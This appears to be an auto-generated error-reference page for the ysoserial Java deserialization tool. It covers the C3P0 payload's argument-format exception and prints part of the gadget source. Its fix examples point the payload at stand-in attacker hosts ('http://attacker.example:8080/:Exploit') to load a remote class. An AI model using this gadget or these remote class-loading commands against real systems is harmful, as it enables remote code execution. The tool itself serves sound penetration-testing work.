frohoff/ysoserial · error · IllegalArgumentException

Command format is

Error message

Command format is: <base_url>:<classname>

What it means

C3P0 payload's getObject() splits the command on the last ':' to get a base URL for loading classes and a remote class name. If no ':' exists, it cannot build the C3P0 class-loading gadget and throws IllegalArgumentException with the usage string.

Solutions

  1. Pass '<base_url>:<classname>', e.g. 'http://attacker:8080/:Exploit'
  2. Ensure the base URL ends with a '/' if the remote loader expects a directory URL
  3. Verify the class name matches the compiled class hosted at the base URL

Example fix

// before
new C3P0().getObject("Exploit");
// after
new C3P0().getObject("http://attacker.example:8080/:Exploit");
Defensive patterns

Strategy: validation

Validate before calling

if (command.lastIndexOf(':') < 0) throw new IllegalArgumentException("expected <base_url>:<classname>");

Try / catch

try { obj = new C3P0().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); }

Prevention

When it happens

Trigger: Calling C3P0.getObject(command) with a string lacking ':' (e.g. just 'http://host:8080/' or just 'Exploit' without the URL part).

Common situations: Serving the exploitable class from a local HTTP server and forgetting the URL component; omitting the class name; shell stripping characters.

Understand the failure class

Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.

Related errors


AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/d4e0e28847998736. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/C3P0.java:48

 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
 *
 * Arguments:
 * - base_url:classname
 *
 * Yields:
 * - Instantiation of remotely loaded class
 *
 * @author mbechler
 *
 */
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }




    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

View on GitHub (pinned to 218bcffcaa)